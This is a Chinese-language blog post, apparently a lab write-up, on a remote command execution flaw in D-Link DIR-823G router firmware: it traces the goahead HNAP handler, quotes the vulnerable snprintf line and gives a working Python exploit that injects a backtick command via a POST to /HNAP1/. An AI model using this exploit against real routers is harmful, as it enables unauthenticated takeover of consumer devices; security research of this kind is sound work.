IOT安全研究&Dlink DIR-823G远程命令执行(实验二)

前言:接着学习iot固件路由器漏洞
这个固件是用gohead进行编写的url处理方式,实际就是一个框架url处理
我们在etc的init.d发现用了goahead,我们可以直接查询这个使用了goahead固件
grep -ri "goahead" .
使用上面命令可以直接查询到goahead的固件,在bin目录下gohead
我们拖到ida,直接搜索HNAP字符串关键信息,
(S2K1IB9ZGV2T%4B)BIMAYU.png

我们发现有很多url,我们在HNAP处发现有个远程命令执行漏洞
snprintf(v13, 4999, "echo '%s' >/var/hnaplog", a7);
我们可以用单引号闭合,外加反向单引号进行系统命令执行
找到漏洞位置,我们直接就可以用firmware-analysis-toolkit,进行模拟固件,然后用exp进行打
exp:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests


IP='192.168.154.13'

#出入要执行的命令
command = "'`echo pwnbyazly > /web_mtn/test.txt`'"
length = len(command)

#构造报文的头部
headers = requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"

#发送攻击payload
payload = command
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)

在这里说下坑,其实在搭建这个firmware-analysis-toolkit有很多坑,但是听别的大佬说可以用Affity开发的环境进行搭建,避免了很多坑,,所以这里就直接用哪个AffityOS3.0操作系统的firmware-analysis-toolkit进行固件模拟

感受:在搭建固件的时候太多坑了,其实我太难了,不过最后还好,总算搭建成了

本文链接:

http://azly.top/index.php/archives/39/
1 + 2 =
快来做第一个评论的人吧~